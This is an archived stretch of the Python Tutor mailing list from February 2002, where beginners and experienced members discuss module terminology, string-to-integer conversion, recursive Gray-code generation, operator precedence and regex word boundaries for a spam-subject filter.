wrote: > This looks good. If we want, we can write a few functions to tease out > some of the functionality. A large part of the program appears to try > grouping pairs of elements in the sequence. We can generalize the grouping > by writing a function like this: > > ### > def group(seq, n=2): > """Given a sequence 'seq', returns a list that clumps up > 'n' adjacent elements together. By default, n=2.""" > pieces = [] > for i in range(len(seq) / n): > pieces.append(seq[i*n : (i+1)*n]) > return pieces > ### Hmmm... I should be careful about the division here, since Python is bound to transition off to use true division, sooner or later. Here's another version of the group() function: ### def group(seq, n=2): """Given a sequence 'seq', returns a list that clumps up 'n' adjacent elements together. By default, n=2.""" pieces = [] for i in range(int(len(seq) / n)): pieces.append(seq[i*n : (i+1)*n]) return pieces ### There! This also makes explicit the fact that we do want to do a truncation, so that group() always has groups that are 'n' elements long. For example: ### >>> group(['key1', 'value1', 'key2', 'value2', 'key3']) [['key1', 'value1'], ['key2', 'value2']] ### will make sure that we ignore any trailing pieces of a sequence when we're doing a grouping. From rashigupta77@hotmail.com Fri Feb 8 11:05:42 2002 From: rashigupta77@hotmail.com (rashi gupta) Date: Fri, 8 Feb 2002 16:35:42 +0530 Subject: [Tutor] Book on Python Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C1B0BE.A6485E80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, I have writen a book on Python. The intended target audience for the = book are begginners to intermediate programmers. I am looking for people = who would be interested in doing a techical review . People interested = can contact me at rashigupta77@hotmail.com. Regards, rashi ------=_NextPart_000_0009_01C1B0BE.A6485E80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi all,
 
I have writen a book on Python. The = intended target=20 audience for the book are begginners to intermediate programmers. I am = looking=20 for people who would be interested in doing a techical review . People=20 interested can contact me at rashigupta77@hotmail.com.
 
Regards,
rashi
------=_NextPart_000_0009_01C1B0BE.A6485E80-- From schoeller@zkm.de Fri Feb 8 16:18:47 2002 From: schoeller@zkm.de (=?ISO-8859-1?Q?Andreas_Sch=F6ller?=) Date: Fri, 8 Feb 2002 17:18:47 +0100 Subject: [Tutor] Stupid newby Question ZODB Message-ID: <87AC7902-1CAF-11D6-9876-0003937266F6@zkm.de> Hello Tutors, How can one delete an entry from a IOBtree ? A simple del tree[key] brings a __delitem__ error. Reassing a value like tree[key] = value is no problem ? How come ? Any special metos needed to accomplish this ? thank you all , andreas From wolf_binary@hotmail.com Fri Feb 8 17:52:55 2002 From: wolf_binary@hotmail.com (Cameron Stoner) Date: Fri, 8 Feb 2002 11:52:55 -0600 Subject: [Tutor] modular programming help Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_001A_01C1B097.255285C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable What I mean is Python uses files (name.py) as modules. My intro to = programming teacher in college is telling me that importing a file isn't = calling a module. I must be confussed here because I have always = understood that modules were external programming things that you = brought in with the import and then executed with functions from it what = you wanted done. Now this is how I use or understand modules in Python. You have some file called mod.py as a module. It has a function in it = called say printing. This is what the function looks like: def printing(x): return x Now to access this function I have to import it. import mod Then to use it: mod.printing("hello") Then there are the functions that return a 0, or a 1. She says those = are modules. Example: def name(x): if x >0 return 1 else: return 0 What is what here. We're using Qbasic to understand how to do logic, = but the terminology is tripping me up with Python. She also said you = should be able to pass values to modules and have them return values to = you. Functions in Python do that so she thought Python used the def to = create procedures or subroutines. I don't understand this Python idiom = I guess. =20 A very confussed beginner, Cameron ------=_NextPart_000_001A_01C1B097.255285C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
What I mean is Python uses files = (name.py) as=20 modules.  My intro to programming teacher in college is telling me = that=20 importing a file isn't calling a module.  I must be confussed here = because=20 I have always understood that modules were external programming things = that you=20 brought in with the import and then executed with functions from it what = you=20 wanted done.  Now this is how I use or understand modules in=20 Python.
 
You have some file called mod.py = as a=20 module.  It has a function in it called say printing.  This is = what=20 the function looks like:
 
def printing(x):
    return = x
 
Now to access this function I have to = import=20 it.
 
import mod
 
Then to use it:
 
mod.printing("hello")
 
Then there are the functions that = return a 0, or a=20 1.  She says those are modules.  Example:
 
def name(x):
    if x = >0
        = return=20 1
    else:
        = return=20 0
 
What is what here.  We're using = Qbasic to=20 understand how to do logic, but the terminology is tripping me up with=20 Python.  She also said you should be able to pass values to modules = and=20 have them return values to you.  Functions in Python do that so she = thought=20 Python used the def to create procedures or subroutines.  I don't=20 understand this Python idiom I guess. 
 
A very confussed beginner,
Cameron
------=_NextPart_000_001A_01C1B097.255285C0-- From dyoo@hkn.eecs.berkeley.edu Fri Feb 8 18:05:40 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Fri, 8 Feb 2002 10:05:40 -0800 (PST) Subject: [Tutor] modular programming help In-Reply-To: Message-ID: On Fri, 8 Feb 2002, Cameron Stoner wrote: > What I mean is Python uses files (name.py) as modules. My intro to > programming teacher in college is telling me that importing a file > isn't calling a module. I must be confussed here because I have Hmmm... yikes. It might just be that QBasic programmers use different terminology than Python programmers. > always understood that modules were external programming things that > you brought in with the import and then executed with functions from > it what you wanted done. Now this is how I use or understand modules > in Python. That's how I understand them as well. > Then there are the functions that return a 0, or a 1. She says those > are modules. Example: > > def name(x): > if x >0 > return 1 > else: > return 0 I've heard this kind of function called a "boolean" function or a "predicate" --- I've never heard of it being called a "module", but then, I've never played with Qbasic before. *grin* > What is what here. We're using Qbasic to understand how to do logic, > but the terminology is tripping me up with Python. She also said you > should be able to pass values to modules and have them return values > to you. Functions in Python do that so she thought Python used the > def to create procedures or subroutines. I don't understand this > Python idiom I guess. The way your teacher is using the word "module" is different from the way that we're using the word "module". It'll be a little confusing at first, but try to treat them as separate concepts. If it's possible, try asking your teacher for reasons why the 0-1 functions are called "modules", and that may help. I took a look at: http://www.geocities.com/progsharehouse/qbtutor/tut17.htm and apparently, in the context of QBasic, the word "subroutine" and "module" are synonymous. That's not the case in Python --- in Python, we have a distinction in mind between those words. QBasic also makes the distinction between subroutines that return values, and they call these things "functions". However, Python doesn't make this distinction because all Python "functions" always return a value. Vocabulary often depends on context, even when we deal with programming languages. Don't worry too much; you'll be able to flip between them in time. Good luck to you. From wesc@deirdre.org Fri Feb 8 18:06:40 2002 From: wesc@deirdre.org (wesc@deirdre.org) Date: Fri, 8 Feb 2002 10:06:40 -0800 (PST) Subject: [Tutor] ANN: SV-SF Bay Area Python UG (BayPIGgies) Mtg 2/13 7:30pm Message-ID: <200202081806.KAA02926@alpha.ece.ucsb.edu> Date: February 13, 2002 Time: 7:30pm - 9pm Location: Stanford University Agenda: Python 10 Conference Summary Speaker: Todd Valentic, SRI International Many of us were not be able to make it to the Python10 Conference (Feb 4-7 2002). Todd, who presented a paper at the conference, will give us the lowdown on what happened. More information including directions at http://deirdre.org/baypiggies -wesley - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "Core Python Programming", Prentice Hall PTR, © 2001 http://starship.python.net/crew/wesc/cpp/ Silicon Valley-San Francisco Bay Area Python Users Group (BayPIGgies) http://deirdre.org/baypiggies wesley.j.chun :: wesc@deirdre.org cyberweb.consulting : henderson, nv : cyberweb@rocketmail.com http://www.roadkill.com/~wesc/cyberweb/ From kojo@hal-pc.org Fri Feb 8 18:17:11 2002 From: kojo@hal-pc.org (kojo@hal-pc.org) Date: Fri, 8 Feb 2002 18:17:11 GMT Subject: [Tutor] modular programming help Message-ID: <200202081816.MAA15931@mail.hal-pc.org> Cam, It seems to be primarily an issue of nomenclature and convention varying between languages. Modules/Subroutines/Functions are all similar, although different languages refer to them in different ways. Here's my understanding of them in general, from a language-agnostic view: Functions: Smallest of the three. They tend to have just one purpose, like a good Unix tool (for those who know Unix). They usually do one thing only...convert from $US to $Canadian; convert a string to Ascii; that sort of thing. MOre of a One-step deal that you're going to need to do alot. Subroutines: Larger and more complex than Functions. May be made up of multiple Functions. Usually perform more than one step on whatever they take in. (Take a binary number, convert it to Hex, find the HTML color for that hex value, print the name of the color). Modules: Largest and most complex of the three. Could easily be stand-alone (but limited use) programs. Can also be called by other programs to provide functionality. Different languages use differnt terms for programming constructs similar to the ones above. IIRC, Basic used Subroutines, Pascal says "Procedure" where Python might say "Function", and I'm not sure who besides us (Python) uses the term "Module". All three can usually take an argument and return a value. I think (and someone PLEASE jump in if I'm wrong so I don't confuse poor Cam) it's just a matter of figuring out what type of programming construct your teacher is discussing, in a more general sense. Then you can learn the nomenclature used for the language you're learning. It's like learning that Perl's Hash is Python's Dictionary. Both are a mapping of some value to some key. Oh, and sorry for any spelling errors. I'm at work (temp job), so I'm using a web interface to my mail...No SpellChecker!! Hope this helps, > What I mean is Python uses files (name.py) as modules. My intro to > programming teacher in college is telling me that importing a file isn't > calling a module. I must be confussed here because I have always > understood that modules were external programming things that you > brought in with the import and then executed with functions from it what > you wanted done. Now this is how I use or understand modules in Python. > > You have some file called mod.py as a module. It has a function in it > called say printing. This is what the function looks like: > > def printing(x): > return x > > Now to access this function I have to import it. > > import mod > > Then to use it: > > mod.printing("hello") > > Then there are the functions that return a 0, or a 1. She says those > are modules. Example: > > def name(x): > if x >0 > return 1 > else: > return 0 > > What is what here. We're using Qbasic to understand how to do logic, > but the terminology is tripping me up with Python. She also said you > should be able to pass values to modules and have them return values to > you. Functions in Python do that so she thought Python used the def to > create procedures or subroutines. I don't understand this Python idiom > I guess. > > A very confussed beginner, > Cameron > From schoeller@zkm.de Fri Feb 8 18:40:03 2002 From: schoeller@zkm.de (=?ISO-8859-1?Q?Andreas_Sch=F6ller?=) Date: Fri, 8 Feb 2002 19:40:03 +0100 Subject: [Tutor] ZODB IOBTree deletion question Message-ID: <4395C57E-1CC3-11D6-9876-0003937266F6@zkm.de> Hello Tutors, How can one delete an entry from a IOBtree ? A simple del tree[key] brings a __delitem__ error. Reassing a value like tree[key] = value is no problem ? How come ? Any special methods needed to accomplish this ? thank you all , andreas From urnerk@qwest.net Fri Feb 8 19:03:41 2002 From: urnerk@qwest.net (Kirby Urner) Date: Fri, 08 Feb 2002 11:03:41 -0800 Subject: [Tutor] ZODB IOBTree deletion question In-Reply-To: <4395C57E-1CC3-11D6-9876-0003937266F6@zkm.de> Message-ID: <4.2.0.58.20020208110213.019ece80@pop3.norton.antivirus> At 07:40 PM 2/8/2002 +0100, Andreas Sch=F6ller wrote: >Hello Tutors, > >How can one delete an entry from a IOBtree ? A simple del tree[key] brings= =20 >a __delitem__ error. Reassing a value like tree[key] =3D value is no= problem=20 >? How come ? Any special methods needed to accomplish this ? > >thank you all , andreas You're talking about ZOPE right? You'd probably have better luck on another list if so. Beginner Pythoneers aren't looking for Zope info, mostly. But I could be wrong, some of the tutors here seem to have delved into just about everything. But you should ask on a Zope-specific list too, not just here. Kirby From urnerk@qwest.net Fri Feb 8 19:17:27 2002 From: urnerk@qwest.net (Kirby Urner) Date: Fri, 08 Feb 2002 11:17:27 -0800 Subject: [Tutor] modular programming help In-Reply-To: References: Message-ID: <4.2.0.58.20020208110437.019ef7a0@pop3.norton.antivirus> > >The way your teacher is using the word "module" is different from the way >that we're using the word "module". It'll be a little confusing at first, >but try to treat them as separate concepts. Good advice from Danny, as usual. A big problem in programming is "name collisions", where the same word could point to different things, hence ambiguity. The way Python, and other languages, resolve this issue is to define a "namespace" and, in Python, a module defines a namespace. So if you have a function named spam() in moduleA.py, and a function names spam() in moduleB.py, you can resolve the ambiguity by going: import moduleA, moduleB moduleA.spam(1,2) moduleB.spam("Takes different arguments",can="open") Or you can rename the function upon importing: from moduleA import spam as redspam # sounds gross from moduleB import spam as bluespam # ditto redspam(1,2) bluespam("characters",can="closed") Now, this namespace problem happens in REAL LIFE [tm], so you can think of your teacher using the word "module" in a namespace defined by teacher.py, inside of which namespace, the word module is roughly equivalent to function, or subprocedure (BASIC is big on subprocedures -- a term you won't hear much in Python circles). So, mentally, when your teacher says "module", you can think "myteacher.module" and when a Python programmer says module, you can thing "pythonprogrammer.module" -- and in that way, you resolve the ambiguity. Note: the solution is similar to the file-pathname solution in a file system. You can have the same file name all over the place, but a *fully qualified* file name needs to be unique, i.e. spam.py may occur in several directories, but there can be only one root/usrs/myspace/stuff/python/spam.py Expanding to the internet as a whole, you can prefix the domain name and so on, by reversing the URL: com.mydomain.mybox.usrs.myspace.stuff.python.spam.py thereby becomes unique in the entire namespace of the internet -- the convention used by Java programmers to link to remote .class files and such. It's all about how to have freedoms to use whatever names inhouse (locally), but without sacrificing precise, unambiguous references globally. >Vocabulary often depends on context, even when we deal with >programming languages. Don't worry too much; you'll be able >to flip between them in time. Exactly. And making these kinds of flips is what compsci.languages.python.modules are all about. Kirby From wolf_binary@hotmail.com Fri Feb 8 19:25:36 2002 From: wolf_binary@hotmail.com (Cameron Stoner) Date: Fri, 8 Feb 2002 13:25:36 -0600 Subject: [Tutor] language of modules Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0013_01C1B0A4.180FD360 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Thanks to all for help on my question, I thought it must be a big issue in programming to have terminalogy to = get mixed up, but has anything been done to bring a standard to the = terminology used in languages? thanks again, Cameron ------=_NextPart_000_0013_01C1B0A4.180FD360 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Thanks to all for help on my = question,
 
I thought it must be a big issue in = programming to=20 have terminalogy to get mixed up, but has anything been done to bring a = standard=20 to the terminology used in languages?
 
thanks again,
Cameron
------=_NextPart_000_0013_01C1B0A4.180FD360-- From James.Alexander.McCarney@Cognicase.com Fri Feb 8 19:32:50 2002 From: James.Alexander.McCarney@Cognicase.com (McCarney, James Alexander) Date: Fri, 8 Feb 2002 14:32:50 -0500 Subject: [Tutor] Calling out to check on a server Message-ID: <23FD7B1A77E8D211BCB900001D108C02018B299F@camelot> Hail Pythonistas universal and triumphant, I seem to recall that there is a way (script) to check a server to see if it is alive. Maybe Vaults of Parnassus, but I didn't see it when I checked. Is anyone aware of something like that? Does anyone have something (code, tips, urls, whatever) they could share? My platform Wind*** 2000; IIS server residing on another machine. Py 2.2 Any help at all would be most appreciated! ;-) James Alexander McCarney, technical writer, (450) 928-3386 x2262 Cognicase-M3i http://www.m3isystems.com mailto:James.Alexander.McCarney@Cognicase.com 1111 Saint-Charles Avenue West, 11th Floor, East Tower, Longueuil, Quebec, J4K 5G4 Canada From idiot1@netzero.net Fri Feb 8 19:37:59 2002 From: idiot1@netzero.net (kirk Bailey) Date: Fri, 08 Feb 2002 14:37:59 -0500 Subject: [Tutor] counter Message-ID: <3C642917.2B4388FF@netzero.net> OK, something simple. I want to write a counter for a webpage. This means reading a file, adding one to the contents, displaying the result, and writing that new number to the file and saving it. Opening and closing and reading and wrigting files I grok. But I understand python is rather odd about numbers, reading a text expression of a number and saving same. This all seems to involve the pickle module, but maybe not? OK, for a minimal concversion to/from text from/to a number, what is the method without pickle, and with? -- end Respectfully, Kirk D Bailey +---------------------"Thou Art Free." -Eris----------------------+ | http://www.howlermonkey.net mailto:highprimate@howlermonkey.net | | http://www.tinylist.org +--------+ mailto:grumpy@tinylist.org | +------------------Thinking| NORMAL |Thinking---------------------+ +--------+ ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From guido@python.org Fri Feb 8 18:20:41 2002 From: guido@python.org (Guido van Rossum) Date: Fri, 08 Feb 2002 13:20:41 -0500 Subject: [Tutor] Re: ANN: SV-SF Bay Area Python UG (BayPIGgies) Mtg 2/13 7:30pm In-Reply-To: Your message of "Fri, 08 Feb 2002 10:06:40 PST." <200202081806.KAA02926@alpha.ece.ucsb.edu> References: <200202081806.KAA02926@alpha.ece.ucsb.edu> Message-ID: <200202081820.g18IKf003010@pcp742651pcs.reston01.va.comcast.net> OK, added. From dyoo@hkn.eecs.berkeley.edu Fri Feb 8 21:19:11 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Fri, 8 Feb 2002 13:19:11 -0800 (PST) Subject: [Tutor] counter In-Reply-To: <3C642917.2B4388FF@netzero.net> Message-ID: On Fri, 8 Feb 2002, kirk Bailey wrote: > OK, something simple. I want to write a counter for a webpage. > > This means reading a file, adding one to the contents, displaying the > result, and writing that new number to the file and saving it. > > Opening and closing and reading and wrigting files I grok. But I > understand python is rather odd about numbers, reading a text > expression of a number and saving same. Yes, when we read(), what we get back will be a string. However, we can coerse the string into an integer by using the int() function: ### >>> number = "42" >>> int(number) >>> number '42' 42 ### For symmetry, we also have access to an str() function that can bend anything into a string. Good luck to you! From dyoo@hkn.eecs.berkeley.edu Fri Feb 8 21:36:43 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Fri, 8 Feb 2002 13:36:43 -0800 (PST) Subject: [Tutor] counter In-Reply-To: Message-ID: On Fri, 8 Feb 2002, Danny Yoo wrote: > ### > >>> number = "42" > >>> int(number) > >>> number > '42' > 42 > ### Gaah! Whoops, I cut and pasted wrong. I meant: ### >>> number = "42" >>> number '42' >>> int(number) 42 ### My apologies for the confusion; that was careless of me. From glingl@aon.at Fri Feb 8 23:05:42 2002 From: glingl@aon.at (Gregor Lingl) Date: Sat, 9 Feb 2002 00:05:42 +0100 Subject: [Tutor] a recursion opportunity References: Message-ID: <00f401c1b0f5$222bdaa0$1664a8c0@mega> ----- Original Message ----- From: "Christopher Smith" To: Sent: Wednesday, February 06, 2002 11:57 PM Subject: [Tutor] a recursion opportunity > I was reading about Boolean algebra today and happened across a nice > little recursion definition that anyone wanting to sharpen up on recursion > might want to try. ... > Here is an example of creating a 3-bit Gray code from a > 2-bit Gray code. > > 00 01 11 10 A Gray code for 2 bits > 000 001 011 010 the 2-bit code with "0" prefixes > 10 11 01 00 the 2-bit code in reverse order > 110 111 101 100 the reversed code with "1" prefixes > 000 001 011 010 110 111 101 100 A Gray code for 3 bits > ... > So the exercise is to write a function that will return a list of strings > representing the binary numbers in an n-bit Gray code. To break the silence, this is my solution: def gray(l): if l: return ['0'+l[0]] + gray(l[1:]) + ['1'+l[0]] else: return [] def graycode(n): if n: return gray(graycode(n-1)) else: return [''] I'm interested in yours. Can it be done in ONE SINGLE recursive function? Gregor From csmith@blakeschool.org Fri Feb 8 23:25:26 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Fri, 08 Feb 2002 17:25:26 -0600 Subject: [Tutor] Re: a recursion opportunity In-Reply-To: <00f401c1b0f5$222bdaa0$1664a8c0@mega> References: <00f401c1b0f5$222bdaa0$1664a8c0@mega> Message-ID: glingl@aon.at writes: > >To break the silence, this is my solution: > > >def gray(l): > if l: > return ['0'+l[0]] + gray(l[1:]) + ['1'+l[0]] > else: > return [] > >def graycode(n): > if n: > return gray(graycode(n-1)) > else: > return [''] > >I'm interested in yours. Can it be done in ONE SINGLE recursive function? >Gregor After watching the tutor list discuss these this summer and after breaking my mind on the permutations problem via recursion I think I'm starting to get it: this was what I did: def graycode(n): if n==0: return [''] else: l=[] g=graycode(n-1) for gi in g: l.append('0'+gi) g.reverse() for gi in g: l.append('1'+gi) return l for i in range(4): print graycode(i) I especially like it because for the first time it seemed like I could translate teh difinition into a code in a natural way. That's why I thought it would make a good "early experience" recursion exercise. /c > From csmith@blakeschool.org Sat Feb 9 03:56:06 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Fri, 08 Feb 2002 21:56:06 -0600 Subject: [Tutor] Re: precedence bug? In-Reply-To: References: Message-ID: mday@mac.com writes: >On Friday, February 8, 2002, at 03:36 PM, Christopher Smith wrote: > >> The python reference (ref/summary.html) it says that 'negation' and >> 'bitwise not' have higher precedence than exponentiation but this is n= ot >> born out by the interpreter (MacPython 2.2): > >I think you're reading the table wrong. To quote that page: > >> The following table summarizes the operator precedences=A0in Python, f= rom=20 >> lowest precedence (least binding) to highest precedence (most binding). > >And note that exponentiation is listed *after* bitwise not and=20 >negative. That means that exponentiation has higher precedence (since=20 >it comes later in the table). Hmmm...here it is (the reference section 5.12) in the 2.1 documents: ** Exponentiation +x, -x Positive, negative ~x Bitwise not and here it is in the 2.2 docs: +x, -x Positive, negative ~x Bitwise not ** Exponentiation I thought I actually had checked that it was the same in the 2.2 docs but I see that I must have looked a the same set of docs (the 2.1 version) twice. Can anyone confirm that the behavior didn't change between versions and that the documentation was just changed to reflect the actua= l behavior? I guess I would still favor not relying on the precedence rules here and go for ease of reading and say it explicitly: -(a**2) or (-a)**2. /c From rashigupta77@hotmail.com Fri Feb 8 11:05:42 2002 From: rashigupta77@hotmail.com (rashi gupta) Date: Fri, 8 Feb 2002 16:35:42 +0530 Subject: [Tutor] Book on Python Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C1B0BE.A6485E80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, I have writen a book on Python. The intended target audience for the = book are begginners to intermediate programmers. I am looking for people = who would be interested in doing a techical review . People interested = can contact me at rashigupta77@hotmail.com. Regards, rashi ------=_NextPart_000_0009_01C1B0BE.A6485E80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi all,
 
I have writen a book on Python. The = intended target=20 audience for the book are begginners to intermediate programmers. I am = looking=20 for people who would be interested in doing a techical review . People=20 interested can contact me at rashigupta77@hotmail.com.
 
Regards,
rashi
------=_NextPart_000_0009_01C1B0BE.A6485E80-- From sheila@thinkspot.net Sat Feb 9 05:30:15 2002 From: sheila@thinkspot.net (Sheila King) Date: Fri, 08 Feb 2002 21:30:15 -0800 Subject: [Tutor] Why doesn't this regex match??? Message-ID: <3251E29088C@kserver.org> OK, I'm having some trouble with using the re module for regular expression matching. (I'm very new to using regular expressions, so I suppose I could be doing something really stupid?) Here is a session with the interactive interpreter: Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32 Type "copyright", "credits" or "license" for more information. IDLE 0.8 -- press F1 for help >>> import re >>> searchstring = 'ADV: FREE FREE OFFERZ!!!!' >>> pattern = 'adv:' >>> p = re.compile(r'\b%s\b' % pattern) >>> result = p.search(searchstring, re.IGNORECASE) >>> result >>> print result None I would have expected to get a match on the above situation. Now when I try this: >>> searchstring = 'Viagra without a prescription!' >>> pattern = 'viagra' >>> p = re.compile(r'\b%s\b' % pattern) >>> result = p.search(searchstring, re.IGNORECASE) >>> result >>> print result None >>> searchstring = 'get viagra without a prescription!' >>> pattern = 'viagra' >>> p = re.compile(r'\b%s\b' % pattern) >>> result = p.search(searchstring, re.IGNORECASE) >>> result <_sre.SRE_Match object at 0x00AF4010> >>> If 'viagra' comes at the beginning, it doesn't match, but if it comes in the middle it does. So, one starts to think that \b, the word boundary, won't match at the beginning of a string (which is totally contrary to what I would expect). Please help. The task I am trying to accomplish right now is this: I have a list of strings (common words and phrases one might expect to find in a Spam email, if that wasn't obvious from the above examples) and I want to do a regular expression search against the subject of an email and see if I get a match or not (after which I handle the email). -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From urnerk@qwest.net Sat Feb 9 05:53:49 2002 From: urnerk@qwest.net (Kirby Urner) Date: Fri, 08 Feb 2002 21:53:49 -0800 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <3251E29088C@kserver.org> Message-ID: <4.2.0.58.20020208215224.01b48ce0@pop3.norton.antivirus> > >>> p = re.compile(r'\b%s\b' % pattern) > >>> result = p.search(searchstring, re.IGNORECASE) One thing here is the re.I or re.IGNORECASE parameter is compile time, i.e. goes in the compile, not in the search. Kirby From sheila@thinkspot.net Sat Feb 9 06:21:28 2002 From: sheila@thinkspot.net (Sheila King) Date: Fri, 08 Feb 2002 22:21:28 -0800 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <4.2.0.58.20020208215224.01b48ce0@pop3.norton.antivirus> References: <3251E29088C@kserver.org> <4.2.0.58.20020208215224.01b48ce0@pop3.norton.antivirus> Message-ID: <3540F950A2C@kserver.org> On Fri, 08 Feb 2002 21:53:49 -0800, Kirby Urner wrote about Re: [Tutor] Why doesn't this regex match???: > > > >>> p = re.compile(r'\b%s\b' % pattern) > > >>> result = p.search(searchstring, re.IGNORECASE) > > One thing here is the re.I or re.IGNORECASE parameter is > compile time, i.e. goes in the compile, not in the search. Oh, oops! OK, taking this advice, I re-did my previous tests: >>> searchstring = 'ADV: FREE FREE OFFERZ!!!!' >>> pattern = 'adv:' >>> p = re.compile(r'\b%s\b' % pattern, re.IGNORECASE) >>> result = p.search(searchstring) >>> print result None >>> searchstring = 'Viagra without a prescription!' >>> pattern = 'viagra' >>> p = re.compile(r'\b%s\b' % pattern, re.IGNORECASE) >>> result = p.search(searchstring) >>> print result <_sre.SRE_Match object at 0x00F476F0> >>> searchstring = 'get viagra without a prescription!' >>> pattern = 'viagra' >>> p = re.compile(r'\b%s\b' % pattern, re.IGNORECASE) >>> result = p.search(searchstring) >>> print result <_sre.SRE_Match object at 0x00F3A5F0> >>> Now two out of three match as I had expected, and one at the beginning of the string. Why isn't the first one matching, still? -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From sheila@thinkspot.net Sat Feb 9 06:53:08 2002 From: sheila@thinkspot.net (Sheila King) Date: Fri, 08 Feb 2002 22:53:08 -0800 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: References: <3251E29088C@kserver.org> Message-ID: <370F4F979B9@kserver.org> On Sat, 09 Feb 2002 01:25:25 -0500, Tim Peters wrote about RE: [Tutor] Why doesn't this regex match???: ...... > Here's another approach to your problem: > > 1. Convert all your phrases to (say) lowercase first. > > 2. Say the list is spamphrases, and the subject line is "subject". > > Then > > s = subject.lower() > isjunk = 0 > for phrase in spamphrases: > if s.find(phrase) >= 0: > isjunk = 1 > break > > is worth considering. It won't tie your head in knots, anyway. We were doing something like this before. Actually, what we were doing was more like: s = subject.lower() s = ' ' + s + ' ' isjunk = 0 for phrase in spamphrases: if s.find(phrase) >= 0: isjunk = 1 break Then someone else suggested the regular expression (granted, someone who is rather adept at them, and is really a Perl coder who is just now learning Python). I'm not sure we gained much by it, but then I had thought to do this: take the entire list of spamphrases and form one big regex out of them and instead of looping through the list, simply do a single regex test on the subject line. We are looking to run this filter on a community server that gets lots of emails to lots of different accounts and we expect a number of people will be using it. We don't want to have the sysadmin tell us to turn it off later, due to resource usage. So, I thought that a single regex test would be more efficient than looping through the list as we had done before. Comments on this logic not only welcome, but actually desired!!! -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From sheila@thinkspot.net Sat Feb 9 07:11:44 2002 From: sheila@thinkspot.net (Sheila King) Date: Fri, 08 Feb 2002 23:11:44 -0800 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <370F4F979B9@kserver.org> References: <3251E29088C@kserver.org> <370F4F979B9@kserver.org> Message-ID: <381F04F6BDD@kserver.org> Error correction below: On Fri, 08 Feb 2002 22:53:08 -0800, Sheila King wrote about Re: [Tutor] Why doesn't this regex match???: > We were doing something like this before. Actually, what we were doing > was more like: > > s = subject.lower() > s = ' ' + s + ' ' > isjunk = 0 > for phrase in spamphrases: > if s.find(phrase) >= 0: > isjunk = 1 > break Actually, what we'd been doing was more like: s = subject.lower() s = ' ' + s + ' ' isjunk = 0 for phrase in spamphrases: if s.find(' ' + phrase + ' ') >= 0: isjunk = 1 break We wanted to match, say, "sex" but not "sextant". (As the joke is going in our discussion group...SO MANY spams that we receive have the word "sextant" in the subject line!!! ) -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From sheila@thinkspot.net Sat Feb 9 07:26:53 2002 From: sheila@thinkspot.net (Sheila King) Date: Fri, 08 Feb 2002 23:26:53 -0800 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <3251E29088C@kserver.org> References: <3251E29088C@kserver.org> Message-ID: <38FDE976D44@kserver.org> On Fri, 08 Feb 2002 21:30:15 -0800, Sheila King wrote about [Tutor] Why doesn't this regex match???: > OK, I'm having some trouble with using the re module for regular > expression matching. (I'm very new to using regular expressions, so I > suppose I could be doing something really stupid?) Despite Tim's excellent advice, to reconsider whether I really want to use regular expressions, I persist at that task. (I've been programming long enough to feel that I ought to have learned them by now. And I'd like to start understanding them so when other people discuss them I don't feel lost.) So, I decided I could possibly solve my problem with the whole "word boundary" thing (when my phrase-pattern doesn't begin and end in an alphanumeric character) as follows: Match on any of the following at the beginning of the phrase-pattern: The beginning of the searched string A word boundary White space and any of the following at the end of the phrase-pattern: The end of the searched string A word boundary White space Seems to me, that this should about cover things??? So I tried the following, with the dismal results shown. Now what am I doing wrong? >>> searchstring = 'ADV: FREE FREE OFFERZ!!!!' >>> word = 'adv:' >>> p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I) Traceback (most recent call last): File "", line 1, in ? p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I) File "E:\PYTHON\PYTHON22\lib\sre.py", line 178, in compile return _compile(pattern, flags) File "E:\PYTHON\PYTHON22\lib\sre.py", line 228, in _compile raise error, v # invalid expression error: internal: unsupported set operator Note: it doesn't matter whether I make it a raw string or not. Same error both ways. Clearly something isn't right with the pattern I'm trying to use. -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From tim.one@comcast.net Sat Feb 9 06:25:25 2002 